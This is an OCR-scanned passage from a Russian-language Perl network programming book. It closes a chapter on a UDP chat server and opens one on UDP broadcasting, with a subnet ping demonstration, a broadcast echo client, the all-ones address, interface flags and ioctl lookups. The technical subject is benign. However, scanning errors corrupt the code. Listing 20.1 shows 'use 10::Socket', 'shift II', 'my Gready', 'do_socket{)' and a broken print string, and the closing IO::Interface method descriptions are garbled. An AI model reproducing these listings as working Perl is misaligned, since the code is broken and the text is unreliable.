• Строка 32. Отслеживание времени проверки. Как и в клиентском сценарии, в сценарии
сервера необходимо следить за временем проверки неактивных клиентов. Для этого применяется
глобальная переменная $next_check, которая устанавливается равной сумме текущего
времени и значения check_interval.
• Строки 43-45. Регулярный вызов метода auto_logoff (). Затем в нижнюю часть главного
цикла добавляется блок continue {}, который контролирует, не настало ли время проверить
наличие неактивных пользователей. Если это так, вызывается новая подпрограмма
auto_logof f () и обновляется переменная $next_check.
• Строки 49-56. Проверка наличия неактивных пользователей и отключение их от
системы. Метод auto_logof f () выполняет цикл по списку всех зарегистрированных в настоящее
время пользователей, который получен от метода chatobjects:: TimedUser->users ()
(унаследованного от родительского объекта). Вызывается метод inactivity_intervai ()
каждого объекта пользователя для выборки числа секунд, истекших с момента отправки
клиентом сообщения о событии still_here. Если этот интервал превышает значение константы
autojlogout, вызывается метод logout () объекта для отмены регистрации пользователя
и освобождения памяти.
В отличие от клиентской программы, в серверной не применяется завершение по
тайм-ауту вызова метода $server->recv_event {). Если сервер полностью
простаивает, то неактивные клиенты не распознаются и не отключаются от системы до тех
пор, пока не будет получено сообщение о каком-либо событии и функция
auto_logof f {) не получит шанс на выполнение. Для активного сервера эта
проблема не существенна; но если она вас беспокоит, то можете заключить метод
recv_event {) объекта сервера в вызов функции select ().
Резюме
Протокол UDP является идеальным средством для создания упрощенных
серверов, ориентированных на работу с сообщениями, которые не требуют высокой
степени надежности. Типичным примером такого приложения может служить система
интерактивной переписки Internet, описанная в настоящей главе.
Данная система интерактивной переписки полностью работоспособна, однако
в ней отсутствуют многие важные средства. Прежде всего, она не позволяет получить
сообщение о том, что в системе зарегистрировался конкретный пользователь (в
некоторых системах ведется так называемый "актуальный список" пользователей,
присутствие которых в системе вызывает особый интерес). Реализация подобного
средства может быть осуществлена относительно просто. Еще одним недостатком данной
системы является то, что она не предоставляет каких-либо возможностей
долгосрочной регистрации и проверки подлинности пользователей. В систему может войти кто
угодно, с использованием любого псевдонима, а после завершения работы и
перезапуска системы вся информация о зарегистрированных пользователях теряется.
Единственная проверка на непротиворечивость, выполняемая системой, состоит в
предотвращении использования одного и того же псевдонима двумя одновременно
работающими пользователями.
Для обеспечения проверки подлинности пользователя и хранения информации о
регистрации необходимо ввести в систему некоторый интерфейс к базе данных. Способы
реализации этого требования могут отличаться по своей сложности, начиная от
использования простых файлов DBM и заканчивая сложными реляционными базами данных.
И наконец, во многих практически применяемых системах интерактивной
переписки предусмотрены функциональные средства ретрансляции сообщений в Internet
Глава 19. Серверы UDP
587
(Internet relay chat). В системах с ретрансляцией вся нагрузка, связанная с
обеспечением работы зарегистрированных пользователей, не возлагается на единственный
сервер системы интерактивной переписки, а распределяется по нескольким
серверам. Информация обо всех событиях, в том числе связанных с передачей сообщений,
поступившая на один сервер, ретранслируется на другие серверы с тем, чтобы они
могли передать сообщения об этих событиях своим пользователям. В
рассматриваемой здесь реализации системы можно было бы ввести это средство, предусмотрев
регистрацию каждого сервера на других серверах на правах клиентов. При получении
каждым сервером информации о событии от другого сервера он просто
ретранслирует ее всем пользователям, в число которых могут входить и клиенты, и другие
серверы. Однако для этого нужно предусмотреть способы предотвращения бесконечной
циркуляции одних и тех же сообщений.
Еще один способ уменьшения нагрузки сервера системы интерактивной
переписки состоит в том, чтобы текущий метод последовательной передачи сообщения о
событиях каждому абоненту канала был заменен методом, который предусматривает
рассылку сообщения сразу всем абонентам в одном системном вызове. Такой метод
рассматривается в главе 21.
588
Часть IV. Дополнительные темы
Глава
Широковещательная
рассылка
В настоящей главе рассматривается одна из самых сложных функций протокола
UDP — передача сообщения сразу нескольким получателям с помощью
широковещательной рассылки. Здесь приведено вводное описание указанной функции и
представлены инструментальные средства, которые упрощают ее использование в
программах Perl. В конце главы приведена усовершенствованная версия клиента службы
интерактивной переписки Internet, описанного в главе 19; эта версия позволяет
найти сервер во время выполнения с использованием широковещательной рассылки.
Сопоставление одноадресной
и широковещательной рассылки
Рассмотрим приложение, которое должно предусматривать одновременную
рассылку информации многим клиентам. Одним из примеров такого приложения
является система телеконференций Internet. Еще одним примером может служить сервер,
который периодически рассылает сигналы синхронизации времени. Подобную
систему можно реализовать с использованием обычных сетевых протоколов.
1. С использованием протокола TCP. Принимать входящие запросы на установление
соединения от клиентов, которые желают подписаться на эту службу, и
создавать для каждого из них подключенный сокет. Вызывать функцию
• syswrite () в каждом сокете каждый раз, когда возникает необходимость
отправить информацию.
2. С использованием протокола UDP. Принимать входящие сообщения от клиентов
и добавлять IP-адрес и номер порта каждого клиента к списку абонентов. При
возникновении события, требующего отправки информации, перебирать
в цикле адреса назначения клиентов и вызывать функцию send{) с сокетом
так же, как и в сценарии сервера системы интерактивной переписки,
описанном в главе 19 (листинг 19.5).
Оба решения известны под названием "одноадресная рассылка", поскольку каждое
передаваемое сообщение адресовано одному получателю. Для рассылки одинаковых
201
Глава 20. Широковещательная рассылка
589
сообщений по нескольким адресам назначения приходится многократно вызывать
метод syswrite {) или send (). Хотя методы одноадресной рассылки во многих
случаях являются достаточно эффективными, они имеют ряд недостатков.
1. Одноадресная рассылка неэффективна в больших сетях. В приложениях
одноадресной рассылки может возникать необходимость передавать многочисленные
копии одной и той же информации по локальной сети и маршрутизаторам.
Например, в приложении потоковой передачи видеоданных один и тот же
видеокадр придется передавать тысячи раз.
2. Адрес назначения должен быть известен заранее. По определению, для отправки
одноадресного сообщения отправитель должен знать адрес получателя.
Однако существует ряд случаев, в которых невозможно знать адрес получателя
заранее. Например, по требованиям протокола DHCP (Dynamic Host
Configuration Protocol — Протокол динамической конфигурации хоста) вновь
загруженный компьютер должен обратиться к серверу, чтобы тот ему
присвоил имя и IP-адрес. Однако возникает классический вопрос, "кто должен был
появиться на свете раньше, курица или яйцо", поскольку клиент не знает
заранее IP-адреса сервера, а сервер не может направить клиенту одноадресное
сообщение, так как клиент еще не имеет IP-адреса.
3. Одноадресная рассыпка не обеспечивает анонимности. Из описанного в
предыдущем пункте следует, что хост, получающий одноадресные сообщения, не
может быть анонимным. Второй участник соединения для отправки ему
сообщений должен знать его сокет и IP-адрес. Однако имеется много приложений,
включая упомянутые выше приложения потоковой передачи видеоданных,
в которых серверу не желательно (и даже не обязательно) знать, какие
клиенты принимают видеопоток.
Широковещательная и многоадресная рассылка (тема следующей главы) намного
превосходят по своим возможностям одноадресную рассылку, поскольку позволяют
доставлять по многим адресам единственное сообщение, переданное хостом. На
сервере не нужно открывать несколько сокетов или вызывать несколько раз функцию
send () или syswrite (). Каждое сообщение отправляется в локальную сеть только
один раз и распределяется по другим компьютерам с применением способа,
позволяющего свести к минимуму нагрузку на сеть.
Более того, широковещательная и многоадресная рассылка обеспечивают "поиск
ресурсов". Так называется метод, позволяющий одному хосту обращаться к другому,
не зная заранее его адреса. Кроме того, он позволяет анонимным получателям
принимать сообщения, не раскрывая сведений о своем присутствии отправителю.
Описание широковещательной рассылки
Широковещательная рассылка — это технология, которая применяется со времени
появления самых первых версий TCP/IP. Это— неизбирательная форма применения
протокола UDP, которая предусматривает получение и обработку сообщений,
отправленных в локальную подсеть каждым хостом подсети. Поскольку широковещательная
рассылка охватывает максимально возможный круг хостов, она строго ограничена
только одной локальной подсетью. Маршрутизаторы отказываются отправлять широ-
590
Часть TV. Дополнительные темы
ковещательные пакеты за границы подсети, если только в их конфигурацию не будут
внесены изменения, предусматривающие иные правила поведения.
Широковещательная рассылка осуществляется с использованием специального
IP-адреса, называемого "широковещательным". Как описано в главе 3,
широковещательным является IP-адрес, в котором часть с обозначением хоста содержит только
единицы. Например, для сети 192.168.3.124 класса С, часть с обозначением хоста
представляет последний байт, поэтому эта сеть имеет широковещательный адрес
192.168.3.255. Строго говоря, этот адрес именуется "широковещательным,
относящимся к подсети", поскольку он имеет значение только для конкретной подсети. Есть
еще несколько типов широковещательных адресов, и в настоящее время регулярно
используется только один из них — широковещательный адрес, "состоящий из одних
единиц", 255.255.255.255. Этот адрес будет рассматриваться позже.
Для широковещательной рассылки сообщения приложение отправляет
дейтаграмму UDP с указанием некоторого сетевого порта и широковещательного адреса
сети. Сообщение рассылается по всем хостам локальной сети и принимается всеми
сетевыми платами, которые способны получать широковещательные сообщения
(рис. 20.1). Затем сообщение передается операционной системе, которая проверяет,
привязан ли каким-либо процессом приемный сокет к порту, которому адресовано
сообщение. Если такой сокет имеется, то сообщение передается программе, которой
он принадлежит. В ином случае сообщение отбрасывается.
Источник
широковещательных
пакетов
1
'
Операционная
система
1
'
Сетевая
плата
'
■
Приемник
сетевых пакетов
,
1
Операционная
система
,
1
Сетевая
плата
,
,
X
I
Операционная
система
,
,
Сетевая
плата
,
>
Приемник
сетевых пакетов
i,
Операционная
система
<
,
Сетевая
плата
,
t
Сеть Ethernet
Рис. 20.1. Широковещательные пакеты принимаются всеми хостами в
локальной подсети, а затем либо поступают в распоряжение приложения-
приемника, либо отбрасываются
Широковещательная рассылка не избирательна. Широковещательные пакеты
принимаются всеми интерфейсными платами, подключенными к сети и способными
получать широковещательные сообщения, а затем передаются этими платами
операционной системе на обработку. В этом и состоит их отличие от одноадресных
пакетов, которые обычно отфильтровываются самой платой и никогда не достигают
операционной системы. Поэтому чрезмерное использование средств
широковещательной рассылки может отрицательно повлиять на производительность всех хостов,
подключенных к локальной сети, поскольку операционная система каждого хоста
вынуждена рассматривать и определять назначение каждого такого пакета, даже если он
не относится к этому хосту.
Глава 20. Широковещательная рассылка
591
Приложения на основе широковещательной
рассылки
Несмотря на свои ограничения, широковещательная рассылка является
чрезвычайно полезной. Методы сетевой широковещательной рассылки применяются в
следующих приложениях.
■ Поиск ресурсов. Широковещательная рассылка часто используется в тех
случаях, когда известно, что где-то в сети есть сервер, но его IP-адрес заранее не
известен. Например, в протоколе DHCP широковещательная рассылка
применяется для поиска сервера DHCP и выборки информации о конфигурации сети
во время загрузки клиента. В клиентах NIS (Network Information System —
Сетевая информационная система) широковещательная рассылка используется для
поиска соответствующего сервера NIS в локальной сети.
■ Информация маршрутизации. Маршрутизаторы должны обмениваться
информацией для поддержания своих внутренних таблиц маршрутизации в актуальном
состоянии. В некоторых протоколах маршрутизации используется
периодическая широковещательная рассылка для распространения информации о
маршрутах и сообщения другим маршрутизаторам об изменениях в топологии сети.
■ Информация времени. Протокол NTP (Network Time Protocol — Сетевой
протокол службы времени) может быть настроен так, чтобы центральный сервер
службы времени периодически выполнял широковещательную рассылку
сообщений с отметками времени по локальной сети. Это позволяет
синхронизировать внутренние часы участвующих в этом процессе хостов до миллисекунд.
Широковещательная рассылка составляет одну из основных частей протокола
IPv4 и может применяться в любой операционной системе, которая поддерживает
сетевые средства TCP/IP.
Отправка и прием широковещательных
сообщений
Широковещательная рассылка сообщения представляет собой отправку
сообщения UDP по широковещательному адресу подсети. Для того чтобы увидеть
широковещательную рассылку в действии, можно применить (что проще всего) программу
ping для отправки запроса эхо-тестирования протокола ICMP по
широковещательному адресу. В следующем примере показано, что произошло, когда автор выполнил
эхо-тестирование широковещательного адреса в сети 143.48.31.0/24 своего офиса.
% ping 143.48.31.255
PING 143.48.31.255 (143.48.31.255): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=4.9 ms
64 bytes from 143.48.31.46: icmp_seq=0 ttl=255 time=5.4 ms (DUP!)
64 bytes from 143.48.31.52: icmp_seq=0 ttl=255 time=5.9 ms (DUP!)
64 bytes from 143.48.31.47: icmp_seq=0 ttl=255 time=6.4 ms (DUP!)
64 bytes from 143.48.31.48: icmp_seq=0 ttl=255 time=6.9 ms (DUP!)
64 bytes from 143.48.31.30: icmp_seq=0 ttl=255 time=7.4 ms (DUP!)
64 bytes from 143.48.31.40: icmp_seq=0 ttl=255 time=7.9 ms (DUP!)
592
Часть IV. Дополнительные темы
64 bytes from 143.48.31.33: icmp_seq=0 ttl=255 time=8.4 ms (DUP!)
64 bytes from 143.48.31.39: icmp_seq=0 ttl=255 time=9.0 ms (DUP!)
64 bytes from 143.48.31.31: icmp_seq=0 ttl=255 time=9.5 ms (DUP!)
64 bytes from 143.48.31.35: icmp_seq=0 ttl=255 time=10.0 ms (DUP!)
64 bytes from 143.48.31.36: icmp_seq=0 ttl=255 time=10.5 ms (DUP!)
64 bytes from 143.48.31.32: icmp_seq=0 ttl=255 time=11.0 ms (DUP!)
64 bytes from 143.48.31.37: icmp seq=0 ttl=255 time=11.6 ms (DUP!)
64 bytes from 143.48.31.43: icmp_seq=0 ttl=255 time=12.1 ms (DUP!)
64 bytes from 143.48.31.57: icmp_seq=0 ttl=255 time=12.6 ms (DUP!)
64 bytes from 143.48.31.55: icmp_seq=0 ttl=255 time=13.1 ms (DUP!)
64 bytes from 143.48.31.58: icmp_seq=0 ttl=255 time=13.6 ms (DUP!)
64 bytes from 143.48.31.254: icmp_seq=0 ttl=255 time=14.1 ms (DUP!)
64 bytes from 143.48.31.45: icmp_seq=0 ttl=255 time=14.6 ms (DUP!)
64 bytes from 143.48.31.34: icmp_seq=0 ttl=255 time=15.1 ms (DUP!)
64 bytes from 143.48.31.38: icmp_seq=0 ttl=255 time=15.6 ms (DUP!)
64 bytes from 143.48.31.59: icmp_seq=0 ttl=60 time=19.1 ms (DUP!)
64 bytes from 143.48.31.60: icmp_seq=0 ttl=128 time=16.6 ms (DUP!)
64 bytes from 143.48.31.251: icmp_seq=0 ttl=255 time=17.1 ms (DUP!)
64 bytes from 143.48.31.252: icmp_seq=0 ttl=255 time=17.6 ms (DUP!)
143.48.31.255 ping statistics
1 packets transmitted, 1 packets received, +25 duplicates, 0% packet
loss round-trip min/avg/max = 4.9/11.2/17.6 ms
На этот единственный пакет эхо-тестирования ответило всего 26 хостов, включая тот
компьютер, с которого было выполнено эхо-тестирование. В число сетевых устройств,
которые ответили на пакет эхо-тестирования, входят лэптопы Windows 98, лазерный
принтер, некоторые рабочие станции Linux и серверы компаний Sun и Compaq. Пакет эхо-
тестирования получил каждый компьютер подсети, и каждый из них ответил так, как если
бы проводилось его индивидуальное эхо-тестирование. Несмотря на то что одним из
сетевых устройств, который ответил на этот пакет, был маршрутизатор (143.48.31.254), он не
перенаправил широковещательный пакет в другую подсеть, поскольку ответы с
компьютеров, находящихся за пределами подсети, не были получены.
Любопытно отметить, что хост, на котором была выполнена команда эхо-
тестирования, ответил не через свой сетевой интерфейс, 143.48.31.42, а через
интерфейс петли обратной связи, 127.0.0.1. Это может служить иллюстрацией того, что
при использовании протокола UDP операционная система вправе выбирать наиболее
эффективный маршрут к месту назначения и не обязана отвечать на сообщения
именно через тот интерфейс, из которого эти сообщения были получены.
Отправка широковещательных сообщений
Для отправки широковещательных пакетов необходимо выполнить следующие
действия.
1. Создание сокета UDP. Сокет UDP создается обычным образом либо с
использованием встроенной функции socket () языка Perl, либо с помощью модуля
10: :Socket.
2. Установка опции SO_BROADCAST сокета. Проектировщики API-интерфейса со-
кетов решили ввести некоторую защиту от непреднамеренной рассылки в
программах по широковещательному адресу, поэтому предусмотрели такое
требование, что перед использованием сокета для широковещательной рассылки
опция сокета S0_BR0ADCAST должна быть установлена равной истинному зна-
Глава 20. Широковещательная рассылка
593
чению. Для этого может применяться либо вызов встроенной функции
setsockopt (), либо унифицированный метод sockopt () модуля
10: : Socket.
3. Поиск широковещательного адреса подсети (необязательный этап). Каждая подсеть
имеет свой широковещательный адрес. В программе можно просто жестко
закодировать соответствующий адрес для своей подсети (или предусмотреть ввод его
пользователем во время выполнения). Однако для обеспечения лучшей
переносимости желательно выполнять поиск соответствующего широковещательного
адреса программным путем. Ниже будет описано, как это сделать.
4. Вызов фунщии send () для отправки данных по широковещательному адресу. Для
создания упакованного адреса назначения, состоящего из
широковещательного адреса и выбранного номера порта, применяется функция sockaddr_in ().
Передайте упакованный адрес функции send() для широковещательной
рассылки сообщения по всей подсети.
В листинге 20.1 показан простой клиент службы эхо-повтора, разработанный на
основе сценария мультиплексного клиента, приведенного в главе 18. Он считывает из
дескриптора STDIN данные, введенные пользователем, и выполняет
широковещательную рассылку этих данных по жестко закодированному широковещательному
адресу. По мере поступления ответов он выводит IP-адрес и номер порта каждого хоста,
ответившего на сообщение, с указанием длины возвращенных данных.
Листинг 20.1. Клиент службы эхо-повтора, который отправляет свои
сообщения по широковещательному адресу
0: #!/usr/bin/perl
1: # Файл: broadcast_echo_cli.pl
2: use 10::Socket;
3: use IO::Select;
4: my $addr = shift II '143.48.31.255';
5: my $port = shift I I getservbyname('echo',"udp*);
6: my $socket = IO::Socket::INET->new(Proto => 'udp') or die $G;
7: $socket->sockopt(SO_BROADCAST() => 1) or
die "sockopt: $!";
8: my $dest = sockaddr_in($port,inet aton($addr));
9
10
11
12
13
14
15
16
my $select = IO::Select->new($socket,\*STDIN);
while (1) {
my Gready = $select->can_read;
foreach (Gready) {
do_stdin() if $_ eq \*STDIN;
do_socket{) if $_ eq $socket;
}
}
17: sub do_stdin {
18: my $data;
19: sysread(STDIN,$data, 1024) || exit 0; # Завершить
# работу по достижении конца файла EOF
20: send($socket,$data,0,$dest) or die "send(): $!";
594
Часть IV. Дополнительные темы
21: }
22
23
24
25
26
27
28
sub do_socket {
my $data;
my $addr = recv($socket,$data,1024,0) or die "recv(): $!";
my ($port,$peer) = sockaddr_in($addr);
my $host = inet_ntoa($peer);
print "received ", length($data)," bytes from $host:$port\r>'
}
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Выполняется загрузка определений из модулей Ю:: socket
И 10:: Select.
• Строки 4, 5. Выборка IP-адреса и номера порта. Адрес и номер порта берутся из командной
строки. Если они не заданы, применяются по умолчанию жестко закодированный
широковещательный адрес и порт службы эхо-повтора UDP. В следующем разделе показано, как
определить соответствующий широковещательный адрес автоматически.
• Строки 6-8. Создание сокета UDP и обеспечение широковещательной рассылки.
Вызывается метод ю::socket: :iNET->new() для создания нового сокета протокола UDP.
Никакие иные параметры не нужны. Затем операционной системе отправляется извещение о том,
что данный сокет будет применяться для широковещательной рассылки путем установки его
метода sockopt () с опцией so_eroadcast, установленной равной истинному значению.
В последней строке этого фрагмента кода создается упакованный адрес назначения, исходя
из номера порта и широковещательного адреса.
• Строки 9-16. Вызов в цикле метода объекта Ю:: select. Основой этого фрагмента кода
является цикл проверки готовности к вводу сокета и дескриптора stdin, которые входят в
набор дескрипторов объекта io::select. При каждом проходе по циклу вызывается
подпрограмма do_stdin (), если готовы для чтения данные, введенные пользователем, и
подпрограмма do_socket (), если в сокет поступило сообщение, готовое для приема.
• Строки 17-21. Широковещательная рассылка через сокет данных, введенных
пользователем. Подпрограмма do stdin () считывает данные из дескриптора stdin и обеспечивает
завершение работы сценария при обнаружении признака конца файла или других ошибок.
Затем эти данные отправляются по упакованному широковещательному адресу, созданному
в строке Б.
• Строки 22-28. Чтение ответов иэ сокета. Если функция select () указывает, что в сокете
есть сообщения, предназначенные для чтения, вызывается функция recv () и выполняется
запись упакованного адреса другого участника обмена данными и самого сообщения в
локальные переменные. Адрес другого участника обмена данными распаковывается, часть с
обозначением хоста этого адреса преобразуется в формат с четырьмя числами, разделенными
точками, и сообщение выводится на стандартное устройство вывода.
Ниже приведены результаты, полученные автором при выполнении этой
программы в той подсети, эх&тестирование которой выполнялось в предыдущем разделе.
% broadcast_echo_cli.pl 143.48.31.255
hi there
received 9 bytes from 143.48.31.42:7
received 9 bytes from 143.48.31.36:7
received 9 bytes from 143.48.31.34:7
received 9 bytes from 143.48.31.32:7
received 9 bytes from 143.48.31.40:7
received 9 bytes from 143.48.31.60:7
received 9 bytes from 143.48.31.33:7
received 9 bytes from 143.48.31.31:7
received 9 bytes from 143.48.31.39:7
received 9 bytes from 143.48.31.35:7
Глава 20. Широковещательная рассылка
595
received 9 bytes from 143.48.31.38:7
received 9 bytes from 143.48.31.37:7
this works
received 11 bytes from 143.48.31.42:7
received 11 bytes from 143.48.31.34:7
received 11 bytes from 143.48.31.32:7
received 11 bytes from 143.48.31.36:7
received 11 bytes from 143.48.31.35:7
received 11 bytes from 143.48.31.33:7
received 11 bytes from 143.48.31.31:7
received 11 bytes from 143.48.31.38:7
received 11 bytes from 143.48.31.37:7
received 11 bytes from 143.48.31.39:7
received 11 bytes from 143.48.31.40:7
received 11 bytes from 143.48.31.60:7
Для запуска этой программы укажите вместо адреса в командной строке
широковещательный адрес, подходящий для вашей сети. При отправке клиентом по
широковещательному адресу каждого сообщения он получает десятки ответов,
соответствующих каждому эхо-серверу, работающему на любом компьютере в локальной
подсети. В данном случае на компьютере, где была запущена клиентская программа
(143.48.31.42), также работал эхо-сервер, поэтому он вошел в число компьютеров,
приславших свои ответы. Широковещательные пакеты всегда проходят по
интерфейсу обратной связи таким образом.
Обычно служба эхо-повтора работает во всех системах UNIX, и поэтому все
представленные здесь ответы были получены с различных хостов UNIX и Linux в сети офиса
автора. Компьютеры Windows и лазерный принтер, который ответили на пакет эхо-
тестирования, не имеют службы эхо-повтора, поэтому не прислали своих ответов.
Прием широковещательных пакетов
В отличие от отправки широковещательных сообщений, для их получения не
требуется выполнение каких-либо особых действий. Любой из серверов UDP,
используемых в качестве примера в этой книге, включая те, что были описаны в главе 18,
отвечает на сообщения, направленные по широковещательному адресу. В
действительности, невозможно даже отличить друг от друга сообщения UDP, направленные
программе через широковещательный или одиночный адрес, без помощи
программных- средств очень низкого уровня.
Широковещательная рассылка без
использования широковещательного
адреса конкретной подсети
Для того чтобы выполнить широковещательную рассылку, необходимо знать
соответствующий широковещательный адрес данной подсети. В предыдущих примерах
этот адрес был жестко закодирован, но при создании переносимых утилит общего
назначения желательно избегать выполнения подобных действий.
596
Часть IV. Дополнительные темы
Если заранее не известен правильный широковещательный адрес, для
выполнения широковещательной рассылки могут применяться два способа. Первый из них
состоит в использовании в качестве адреса назначения широковещательного адреса,
состоящего только из единиц. Второй способ заключается в определении
широковещательного адреса хоста во время выполнения программы.
Широковещательный адрес, состоящий только
из единиц
Если заранее не известен широковещательный адрес конкретной подсети, для
выполнения широковещательной рассылки проще всего использовать
широковещательный адрес, состоящий из одних единиц, 255.255.255.255. Этот адрес применяется
в основном на бездисковых рабочих станциях, которые не имеют своего IP-адреса во
время начальной загрузки и должны получить его и другую информацию
конфигурации от сервера начальной загрузки, расположенного где-то в локальной сети. Для
запуска этого процесса бездисковая рабочая станция рассылает запрос на получение
необходимой информации, указав в качестве адреса назначения адрес, состоящий из
одних единиц. Если сервер начальной загрузки ответит на этот запрос, два
компьютера могут начать процесс определения конфигурации.
Широковещательный адрес, состоящий из одних единиц, действует во многом
аналогично широковещательному адресу конкретной подсети. Пакеты, отправленные по этому
адресу, рассылаются по всем хостам подсети, но не перенаправляются маршрутизаторами
в другую подсеть. В большинстве случаев можно просто указать вместо
широковещательного адреса конкретной подсети адрес, состоящий из одних единиц, и приложение будет
работать, как и прежде. Чтобы убедиться в этом, передайте клиенту службы эхо-повтора,
описанного в предыдущем разделе, адрес назначения 255.255.255.255. Клиент должен
работать так же, как и при получении адреса конкретной подсети.
Однако прежде чем использовать адрес, состоящий из одних единиц, нужно знать, что
с ним связан ряд небольших "секретов*'. Широковещательная рассылка с использованием
адреса, состоящего из одних единиц, в подсети, в которой имеются хосты с несколькими
сетевыми интерфейсами, приводит к различным последствиям в разных операционных
системах. Некоторые операционные системы направляют широковещательный пакет
в каждый сетевой интерфейс по очереди с тем, чтобы он появился во всех подсетях, к
которым подключен данный хост. В других системах широковещательный пакет
отправляется только один раз, из исходящего интерфейса данного хоста, применяемого по
умолчанию. Есть и такие операционные системы, в которых широковещательная рассылка по
адресу, состоящему из одних единиц, без каких-либо дополнительных сообщений
преобразуется в широковещательную рассылку по адресу конкретной подсети. Эти небольшие
отличия чаще всего остаются незамеченными, но могут вызвать проблемы при работе
с "капризными" серверами и создают затруднения при попытке диагностировать работу
сети с помощью программы-перехватчика сетевых пакетов.
Известно также, что в старых версиях операционной системы Linux и в
операционной системе QNX возникают проблемы при отправке по адресу, состоящему из
одних единиц, и поэтому возникает необходимость вставлять вручную в таблицу
маршрутизации хост с адресом 255.255.255.255 с помощью команды route.
После того как вы узнаете о возможных затруднениях, они не будут составлять для
вас значительных проблем.
Глава 20. Широковещательная рассылка
597
Определение интерфейсов, обеспечивающих
широковещательную рассылку, во время
выполнения
Существует еще один способ выполнения широковещательной рассылки, если заранее
не известен правильный адрес. Он состоит в определении широковещательного адреса
конкретной подсети хоста во время выполнения. Если на хосте установлено несколько
плат Ethernet или есть другие сетевые интерфейсы, то таких адресов может быть
несколько и приложение общего назначения должно попытаться их все обнаружить.
В основе этого процесса лежат простые принципы. Вначале операционной
системе должен быть передан запрос на получение списка всех активных сетевых
интерфейсов. Этот список будет включать не только те интерфейсы, которые обладают
способностью выполнять широковещательную рассылку, такие как платы Ethernet, но
и те, которые такими способностями не обладают, например интерфейсы петли
обратной связи и двухточечные соединения, установленные через последовательные
линии связи. Затем осуществляется выборка "флажков" интерфейса: двоичной маски
атрибутов, которые описывают его свойства, включая то, способен ли он выполнять
широковещательную рассылку. Эти флажки используются для отбора интерфейсов,
позволяющих выполнять широковещательную рассылку, после чего у операционной
системы запрашиваются широковещательные адреса выбранных интерфейсов.
Список наиболее широко применяемых флажков приведен в табл. 20.1.
Рассмотрим этот процесс более подробно. Операционная система позволяет
определять характеристики и управлять сетевыми интерфейсами с использованием ряда вызовов
функции ioctl (). Первым параметром вызова ioctl () должен быть открытый сокет,
а вторым—функциональный код, выбранный из списка, приведенного в табл. 20.2.
Таблица 20.1. Флажки интерфейса
Флажок Описание
I FF_ALLMULT I Интерфейс способен принимать все пакеты многоадресной рассылки
IFF_AUTOMEDIA Интерфейс способен автоматически выбирать сетевую среду
передачи (например, ЮЬТ вместо 10Ь2)
I FF_BROADCAST Интерфейс может участвовать в широковещательной рассылке
I FF_DEBUG Интерфейс находится в режиме отладки
I FF_LOOPBACK В интерфейсе применяется драйвер петли обратной связи
I FF_MASTER Интерфейс выполняет функции ведущего интерфейса
в маршрутизаторе распределения нагрузки
I FF_MULTICAST Интерфейс способен принимать многоадресные пакеты
I FF_NOARP Интерфейс не реализует протокол ARP (Address Resolution Protocol —
Протокол преобразования адресов)
I FF_NOTRAILERS Следует избегать использования концевиков пакетов низкого уровня
I FF_P0INT0P0INT В интерфейсе применяется драйвер двухточечной связи
I FF_P0RT SE L Интерфейс позволяет задавать тип сетевой среды передачи
I FF_PR0MI SC Интерфейс находится в неизбирательном режиме (принимает все
пакеты)
598
Часть IV. Дополнительные темы
Окончание табл. 20.1
Флажок Описание
I FF_RUNN ING Драйвер интерфейса загружен и инициализирован
I FF_SLAVE Интерфейс выполняет функции ведомого интерфейса
в маршрутизаторе распределения нагрузки
IFF_UP Интерфейс активен
Основная часть функциональных кодов, применяемых в вызове функции
ioctl (), поддерживается во всех операционных системах. Например, вызов
функции ioctl () с кодом SIOCGIFCONF возвращает список всех активных интерфейсов,
ас кодом SIOCGIFBRDADDR — широковещательный адрес конкретного интерфейса.
Информация о выбранном интерфейсе передается между программой и
операционной системой в упакованной двоичной структуре, указанной в качестве третьего
параметра функции ioctl (). В функциональных кодах, связанных с интерфейсом,
используются два типа данных: структура ifreq служит для передачи в прямом и
обратном направлении информации о конкретном интерфейсе, а структура ifconf
применяется при выборке списка всех активных интерфейсов.
Рассмотрим это на небольшом примере. Допустим, уже известно о наличии
интерфейса Ethernet с именем tuO (этот интерфейс соответствует интерфейсу Ethernet
"Tulip" lOObT на компьютере Digital Tru64 UNIX). Для выборки его
широковещательного адреса можно использовать следующий фрагмент кода.
my $ifreq = pack('Z16 х!6', 'tuO');
ioctl($sock,SIOCGIFBRDADDR,$ifreq);
my ($name,$family,$addr) = unpack('Z16 s x2 a4',$ifreq);
print "broadcast = ",inet_ntoa($addr),"\n";
Имя интерфейсной платы упаковывается в структуру ifreq и передается функции
ioctl () с использованием функционального кода SIOCGIFBRDADDR. Функция
ioctl () возвращает в переменной $ifreq результат, который распаковывается
и отображается. Для обеспечения правильной работы этого фрагмента кода
необходимо знать значение константы SIOCGIFBRDADDR и "магические" форматы,
используемые для упаковки и распаковки структуры ifreq. Источники этой информации
будут описаны в следующем разделе.
Таблица 20.2. Функциональные коды функции ioctl О, предназначенные для
выборки информации об интерфейсе
Код
SIOCGIFCONF
SIOCGIFADDR
SIOCGIFBRDADDR
SIOCGIFNETMASK
SIOCGIRDSTADDR
SIOCGIFHWADDR
SIOCGIFFLAGS
Параметр
ifconf
ifreq
ifreq
ifreq
ifreq
ifreq
ifreq
Описание
Выборка списка интерфейсов
Получение IP-адреса интерфейса
Получение широковещательного адреса интерфейса
Получение маски сети интерфейса
Получение адреса назначения двухточечного интерфейса
Получение аппаратного адреса интерфейса
Получение атрибутов интерфейса
В вызове функции ioctl (), связанном с определением характеристик интерфейса,
можно передать любой открытый сокет, даже тот, который был создан для другой цели.
Глава 20. Широковещательная рассылка 599
В типичном приложении широковещательной рассылки создается неподключенный
сокет UDP, для него запрашивается широковещательный адрес, а затем вызывается
функция send () с этим сокетом для инициализации широковещательной рассылки.
Модуль IO::lnterface
В настоящем разделе рассматривается модуль 10: : Interface, который после
загрузки добавляет к классу 10: : Socket несколько методов, позволяющих получить
информацию о сетевых интерфейсах хоста. Методы, добавляемые этим модулем
К классу 10: : Socket, перечислены ниже.
I. fj inter face_names< = $sooket->it_listo
!■ Возвращает список имен интерфейсов вгвиде. массива строк. Будут возвращены только те
интерфейсы', тСпя которых загружены драйверы:.-
j S flags =<$so<*et-:>if_[fiags ($interface_name)
i Возвращает флажки интерфейса, указанного параметром $ihterface_name. Флажки представ-
- ляют собой двоичную маску различных атрибутов, которые, кроме всего прочего, указывают, активен'
! ли интерфейс и способен ли он выполнять широковещательную рассылку..Наиболее широко
применяемые флажки .перечислены в табл. 20,iv.
I $addr'= $soc*e€->ifjjaddrj[Sinterracl_name); -,;
